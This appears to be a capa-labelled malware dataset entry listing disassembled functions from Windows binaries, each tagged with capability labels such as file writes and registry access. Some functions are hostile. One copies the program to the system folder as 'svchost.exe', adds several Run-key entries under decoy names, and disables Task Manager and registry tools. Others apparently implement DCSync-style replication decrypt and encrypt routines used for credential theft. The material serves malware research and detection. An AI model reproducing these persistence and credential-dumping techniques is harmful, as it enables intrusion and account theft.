joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403620
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x40d040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x4036dc
cmp byte [esi + 0x3d], 0
je 0x4036dc
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x4036ca
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x403691
sub eax, 1
je 0x403695
sub eax, 2
jne 0x4036ca
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040798e
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x4036b3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x4036ca
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040798e
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040798e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040798e
mov esp, ebp
pop ebp
ret
Function at 0x406290
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x40d040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x108]
push edi
push 0x103
push eax
mov dword [ebp - 0x110], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x108]
dec eax
nop dword [eax]
mov cl, byte [eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x4062d0
mov ecx, dword [0x40954c]
mov dword [eax], ecx
mov ecx, dword [0x409550]
mov dword [eax + 4], ecx
mov cl, byte [0x409554]
mov byte [eax + 8], cl
lea eax, [ebp - 0x108]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x108]
dec ecx
nop word [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x406310
mov eax, dword [str._svchost.exe]
mov dword [ecx], eax
mov eax, dword [0x40955c]
mov dword [ecx + 4], eax
mov eax, dword [0x409560]
mov dword [ecx + 8], eax
mov al, byte [0x409564]
mov byte [ecx + 0xc], al
lea eax, [ebp - 0x108]
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x108]
push 0x103
push eax
push 1
push 0
push str.Generic_Host_Process_for_Win32_Services
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Updater
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Windows_Server
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push 0x80000002
call ebx
push 0x103
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.Generic
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableTaskMgr
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
lea eax, [ebp - 0x10c]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 0x110]
push eax
push 4
push 0
push str.DisableRegistrytools
push dword [ebp - 0x10c]
call edi
push dword [ebp - 0x10c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040798e
mov esp, ebp
pop ebp
ret
Function at 0x4068e0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x406901
jl 0x4068f7
test esi, esi
jne 0x406901
pop esi
xor eax, eax
xor edx, edx
pop ebx
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x406918
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
pop ebp
ret 0xc
push edi
mov edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Gnavail_void_const]
test eax, eax
je 0x40694e
cmp eax, dword [ebp + 0xc]
mov ecx, ebx
cmovb esi, eax
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gptr_void_const]
push esi
push eax
push dword [ebp + 8]
call sub.VCRUNTIME140.dll_memcpy
add dword [ebp + 8], esi
add esp, 0xc
mov ecx, ebx
sub edi, esi
push esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::gbump_int_]
cmp dword [ebx + 0x4c], 0
mov esi, dword [ebp + 8]
je 0x4069bd
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::eback_void_const]
lea ecx, [ebx + 0x3c]
cmp eax, ecx
jne 0x406976
push dword [ebx + 0x54]
mov eax, dword [ebx + 0x50]
mov ecx, ebx
push eax
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::setg_char___char___char__]
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov ecx, edi
cmp edi, 0xfff
jbe 0x4069ab
push dword [ebx + 0x4c]
push 0xfff
push 1
push esi
call eax
sub edi, eax
add esp, 0x10
add esi, eax
mov ecx, edi
cmp eax, 0xfff
jne 0x4069bd
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x406985
test ecx, ecx
je 0x4069bd
push dword [ebx + 0x4c]
push edi
push 1
push esi
call eax
add esp, 0x10
sub edi, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
sub eax, edi
pop edi
pop esi
sbb edx, 0
pop ebx
pop ebp
ret 0xc
Function at 0x4069d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, ecx
cmp dword [ebx + 0x38], 0
je 0x4069f5
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], edi
call dword [sym.imp.MSVCP140.dll_protected:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const]
mov dword [ebp + 0x10], eax
mov ecx, edx
mov dword [ebp - 4], ecx
test edi, edi
jl 0x406a60
jg 0x406a1b
test esi, esi
je 0x406a60
test ecx, ecx
jl 0x406a9a
jg 0x406a25
test eax, eax
je 0x406a9a
cmp edi, ecx
jg 0x406a35
jl 0x406a2f
cmp esi, eax
jae 0x406a35
mov dword [ebp + 0x10], esi
mov dword [ebp - 4], edi
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const]
push dword [ebp + 0x10]
push dword [ebp + 8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp + 0x10]
add esp, 0xc
add dword [ebp + 8], eax
mov ecx, ebx
sub esi, eax
sbb edi, dword [ebp - 4]
push eax
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int_]
mov eax, dword [ebp + 8]
test edi, edi
jl 0x406a87
jg 0x406a6d
test esi, esi
je 0x406a87
mov ecx, dword [ebx + 0x4c]
test ecx, ecx
je 0x406a87
push ecx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
jmp 0x406a6d
Function at 0x406e1e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
xor ecx, ecx
test eax, eax
jne 0x406e45
mov eax, ecx
mov dword [ebp - 4], eax
jmp 0x406e48
mov eax, dword [ebp - 4]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.00406dfa
pop esi
leave
ret 8

Function at 0x4083ef
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40842e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40842e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40842e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40842e
cmp dword [ecx + 0x74], 0xe
jbe 0x40842e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4011c9
Capabilities:
Get domain controller name

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
lea eax, [ebp - 8]
push esi
push eax
push 0x40020010
xor esi, esi
push esi
push esi
push ecx
push esi
mov dword [ebp - 8], esi
call dword [sym.imp.NETAPI32.dll_DsGetDcNameW]
test eax, eax
jne 0x40124e
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
add ecx, 4
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x401204
sub ecx, edx
sar ecx, 1
push edi
lea edi, [ecx*2 + 2]
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, eax
mov dword [ebx], ecx
test ecx, ecx
je 0x401242
mov eax, dword [ebp - 8]
xor esi, esi
push edi
inc esi
mov eax, dword [eax]
add eax, 4
push eax
push ecx
call fcn.00405d40
add esp, 0xc
push dword [ebp - 8]
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
jmp 0x40125b
push eax
push 0x4236b8
call fcn.004012e8
pop ecx
pop ecx
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f15
leave
ret
Function at 0x401e50
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x94
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x8c], eax
push ebx
push ebp
push esi
push edi
push 0x10
pop eax
mov edi, ecx
mov dword [esp + 0x14], eax
xor ebp, ebp
mov dword [esp + 0x18], eax
lea eax, [esp + 0x88]
mov dword [esp + 0x1c], eax
mov ebx, dword [edi + 4]
cmp dword [0x42950c], ebp
je 0x401f8f
cmp dword [0x429508], ebp
je 0x401f8f
cmp dword [edi], 0x14
jb 0x401f88
test ebx, ebx
je 0x401f88
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
push dword [0x429508]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
lea eax, [esp + 0x34]
push dword [0x42950c]
push eax
call esi
push 0x10
push ebx
lea eax, [esp + 0x38]
push eax
call esi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov eax, dword [edi]
sub eax, 0x10
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], eax
lea eax, [ebx + 0x10]
mov dword [esp + 0x28], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
test eax, eax
js 0x401f81
mov esi, dword [edi]
lea eax, [ebx + 0x14]
push ecx
lea ecx, [esp + 0x30]
mov dword [esp + 0x14], eax
push ecx
sub esi, 0x14
mov edx, eax
push esi
call fcn.00401106
add esp, 0xc
test eax, eax
je 0x401f7a
mov eax, dword [esp + 0x2c]
cmp eax, dword [ebx + 0x10]
jne 0x401f67
mov ebx, dword [edi + 4]
push esi
call fcn.004015a1
mov dword [edi + 4], eax
test eax, eax
je 0x401f9a
push esi
push dword [esp + 0x14]
push eax
call fcn.00405d40
add esp, 0xc
mov dword [edi], esi
inc ebp
test ebx, ebx
je 0x401f9a
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401f9a
push dword [ebx + 0x10]
push eax
push str.ERROR_alibaba_rpc_drsr_ProcessGetNCChangesReply_decrypt___Checksums_dont_match__C:0x_08x___R:0x_08x__n
call fcn.004012e8
add esp, 0xc
jmp 0x401f9a
push str.ERROR_alibaba_rpc_drsr_ProcessGetNCChangesReply_decrypt___Unable_to_calculate_CRC32_n
jmp 0x401f94
push str.ERROR_alibaba_rpc_drsr_ProcessGetNCChangesReply_decrypt___RtlDecryptData2_n
jmp 0x401f94
push str.ERROR_alibaba_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_valid_data_n
jmp 0x401f94
push str.ERROR_alibaba_rpc_drsr_ProcessGetNCChangesReply_decrypt___No_Session_Key_n
call fcn.004012e8
pop ecx
mov ecx, dword [esp + 0x9c]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403f15
add esp, 0x94
ret
Function at 0x401fb5
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
sub esp, 0x9c
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x94], eax
push ebx
push ebp
push esi
push edi
mov ebx, ecx
xor edi, edi
test edx, edx
mov eax, 0x429508
push 0x10
cmovne eax, edx
mov edx, dword [ebx]
pop ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x90]
mov dword [esp + 0x28], ecx
lea ecx, [edx + 0x14]
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
cmp dword [eax + 4], edi
je 0x40210b
cmp dword [eax], edi
je 0x40210b
test edx, edx
je 0x402104
cmp dword [ebx + 4], edi
je 0x402104
push ecx
call fcn.004015a1
mov dword [esp + 0x10], eax
test eax, eax
je 0x402116
push dword [ebx]
lea esi, [eax + 0x14]
mov ebp, eax
push dword [ebx + 4]
push esi
call fcn.00405d40
add esp, 8
mov eax, ebp
add eax, 0x10
mov edx, esi
mov dword [esp + 0x20], eax
push eax
push dword [ebx]
call fcn.00401106
add esp, 0xc
test eax, eax
je 0x4020f0
push 0x10
push ebp
call dword [sym.imp.cryptdll.dll_CDGenerateRandomBits]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
push dword [eax]
push dword [eax + 4]
lea eax, [esp + 0x40]
push eax
call esi
push 0x10
push ebp
lea eax, [esp + 0x40]
push eax
call esi
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov esi, dword [esp + 0x18]
add esi, 0x14
lea eax, [esi - 0x10]
mov dword [esp + 0x30], eax
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_SystemFunction032]
test eax, eax
js 0x4020df
mov ebp, dword [ebx + 4]
inc edi
mov eax, dword [esp + 0x10]
mov dword [ebx + 4], eax
mov dword [ebx], esi
jmp 0x4020ea
push str.ERROR_alibaba_rpc_drsr_CreateGetNCChangesReply_encrypt___RtlEncryptData2_n
call fcn.004012e8
pop ecx
test ebp, ebp
je 0x402116
jmp 0x4020fb
push str.ERROR_alibaba_rpc_drsr_CreateGetNCChangesReply_encrypt___Unable_to_calculate_CRC32_n
call fcn.004012e8
pop ecx
push ebp
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x402116
push str.ERROR_alibaba_rpc_drsr_CreateGetNCChangesReply_encrypt___No_valid_data_n
jmp 0x402110
push str.ERROR_alibaba_rpc_drsr_CreateGetNCChangesReply_encrypt___No_Session_Key_n
call fcn.004012e8
pop ecx
mov ecx, dword [esp + 0xa4]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00403f15
add esp, 0x9c
ret
Function at 0x4027e8
Capabilities:
Get user security identifier

Disassembly:
sub esp, 0x18
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
mov ebx, dword [esp + 0x20]
mov eax, ecx
mov ecx, dword [esp + 0x28]
push esi
push edi
mov edi, edx
mov dword [esp + 0xc], eax
lea edx, [esp + 0x1c]
mov dword [esp + 0x10], ecx
push edx
xor esi, esi
lea edx, [esp + 0x18]
push edx
push esi
lea edx, [esp + 0x24]
mov dword [esp + 0x24], esi
push edx
push esi
push eax
push ecx
mov dword [esp + 0x30], esi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x4028a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x4028a1
mov eax, dword [esp + 0x18]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LocalAlloc]
add eax, eax
push eax
push 0x40
call ebp
mov dword [edi], eax
test eax, eax
je 0x4028a0
mov eax, dword [esp + 0x18]
add eax, eax
push eax
push 0x40
call ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebx], eax
test eax, eax
je 0x40289a
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x1c]
push ecx
push eax
lea eax, [esp + 0x28]
push eax
push dword [edi]
push dword [esp + 0x24]
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov esi, eax
test esi, esi
jne 0x4028a0
push dword [ebx]
call ebp
mov dword [ebx], eax
push dword [edi]
call ebp
mov dword [edi], eax
pop ebp
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403f15
add esp, 0x18
ret

Function at 0x40294c
Capabilities:
Terminate process

Disassembly:
push esi
mov esi, ecx
xor ecx, ecx
call fcn.004029cd
push 0
push 0x4029c1
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push dword [0x429564]
push 1
call fcn.0040a6b5
push eax
call fcn.0040ae1d
pop ecx
pop ecx
push eax
call fcn.0040ac2e
pop ecx
pop ecx
push dword [0x42955c]
push 2
call fcn.0040a6b5
push eax
call fcn.0040ae1d
pop ecx
pop ecx
push eax
call fcn.0040ac2e
pop ecx
pop ecx
push dword [0x429560]
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
cmp esi, 0xc000004b
pop esi
push 0
jne 0x4029ba
call dword [sym.imp.KERNEL32.dll_ExitThread]
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40c271
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40c2b0
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40c2b0
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40c2b0
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40c2b0
cmp dword [ecx + 0x74], 0xe
jbe 0x40c2b0
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40ee12
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41ceec
push 0x41cee4
push str.FlsAlloc
push 0x1f
call fcn.0040ecf0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ee46
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a220]
call esi
jmp 0x40ee4c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x40ee90
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41cefc
push 0x41cef4
push str.FlsGetValue
push 0x21
call fcn.0040ecf0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40eec7
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a220]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40eecf
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41cf04
push 0x41cefc
push str.FlsSetValue
push 0x22
call fcn.0040ecf0
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ef09
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41a220]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x410696
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4106e1
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00410831
test al, al
jne 0x4106db
sub edx, 2
cmp edx, edi
jne 0x4106c1
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x410703
lea eax, [edi + 2]
cmp edx, eax
je 0x410703
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004105e2
add esp, 0x10
jmp 0x4107fd
push esi
lea ecx, [ebp - 0x255]
call fcn.00410831
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x410746
push dword [ebp - 0x25c]
jmp 0x4106f3
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x410783
cmp word [ebp - 0x226], 0
je 0x4107a4
cmp word [ebp - 0x226], ax
jne 0x410783
cmp word [ebp - 0x224], 0
je 0x4107a4
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004105e2
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4107f0
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x41075d
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4107d8
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x4107fd
push 0x410412
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414f90
add esp, 0x10
jmp 0x4107cd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f15
leave
ret

Function at 0x4112b8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4112c9
pop esi
ret
push ebx
push edi
push esi
call fcn.00411281
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040d6bf
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4112f1
push ebx
push esi
push edi
call fcn.00405d40
add esp, 0xc
push 0
call fcn.0040d685
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x4116c1
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00411306